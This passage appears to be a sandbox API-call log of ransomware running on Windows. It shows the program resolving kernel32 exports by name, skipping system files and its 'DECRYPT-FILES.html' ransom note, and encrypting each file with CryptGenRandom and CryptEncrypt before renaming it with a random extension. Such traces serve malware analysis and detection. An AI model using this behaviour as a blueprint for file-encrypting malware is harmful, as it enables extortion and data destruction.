lpString1="CreateActCtxA") returned="CreateActCtxA" [0146.795] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0146.795] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0146.795] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0146.795] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0146.795] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0146.795] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0146.795] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0146.795] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0146.795] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0146.795] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0146.795] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0146.795] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0146.795] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0146.795] lstrlenA (lpString="CREATEEVENTA") returned 12 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0146.795] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0146.795] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0146.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0146.796] lstrlenA (lpString="CREATEEVENTW") returned 12 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0146.796] lstrlenA (lpString="CREATEFIBER") returned 11 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0146.796] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0146.796] lstrlenA (lpString="CREATEFILE2") returned 11 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0146.796] lstrlenA (lpString="CREATEFILEA") returned 11 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0146.796] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0146.796] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0146.796] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0146.796] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0146.796] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0146.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0146.797] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0146.797] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0146.797] lstrlenA (lpString="CREATEFILEW") returned 11 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0146.797] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0146.797] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0146.797] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0146.797] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0146.797] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0146.797] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0146.797] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0146.797] lstrlenA (lpString="CREATEJOBSET") returned 12 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0146.797] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0146.797] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0146.797] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0146.797] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0146.797] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0146.797] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0146.797] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0146.797] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0146.798] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0146.798] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0146.798] lstrlenA (lpString="CREATEPIPE") returned 10 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0146.798] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0146.798] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0146.798] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0146.798] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0146.798] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0146.798] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0146.798] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0146.798] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0146.798] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0146.798] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0146.798] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0146.798] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0146.798] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0146.798] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0146.798] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0146.799] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0146.799] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0146.799] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0146.799] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0146.799] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0146.799] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0146.799] lstrlenA (lpString="CREATETHREAD") returned 12 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0146.799] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0146.799] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0146.799] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0146.799] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0146.799] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0146.799] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0146.799] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0146.799] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0146.800] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.iAgXft") returned 55 [0146.800] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.iAgXft" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.iagxft"), dwFlags=0x0) returned 1 [0146.801] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.802] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.802] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.802] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="DECRYPT-FILES.html") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="autorun.inf") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="boot.ini") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="desktop.ini") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="ntuser.dat") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="iconcache.db") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="bootsect.bak") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="ntuser.dat.log") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="thumbs.db") returned 1 [0146.802] lstrcmpiW (lpString1="UiInfo.xml", lpString2="Bootfont.bin") returned 1 [0146.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.802] lstrlenW (lpString="UiInfo.xml") returned 10 [0146.802] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Extended\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0146.802] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" [0146.802] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0146.803] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=39050) returned 1 [0146.803] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0146.803] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0146.917] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0146.917] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0146.917] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0146.918] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0146.918] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0146.920] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.920] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0146.921] CloseHandle (hObject=0x5f8) returned 1 [0146.921] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.921] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0146.922] CloseHandle (hObject=0x0) returned 0 [0146.922] CloseHandle (hObject=0x5f4) returned 1 [0146.923] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.923] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.924] GetTickCount () returned 0x3a019 [0146.924] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.924] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0146.924] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0146.924] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0146.925] lstrlenA (lpString="kernel32.dll") returned 12 [0146.925] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0146.925] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0146.925] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0146.925] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0146.925] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0146.925] lstrlenA (lpString="ADDATOMA") returned 8 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0146.925] lstrlenA (lpString="ADDATOMW") returned 8 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0146.925] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0146.925] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0146.925] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0146.925] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0146.926] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0146.926] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0146.926] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0146.926] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0146.926] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0146.926] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0146.926] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0146.926] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0146.926] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0146.926] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0146.926] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0146.926] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0146.926] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0146.926] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0146.926] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0146.926] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 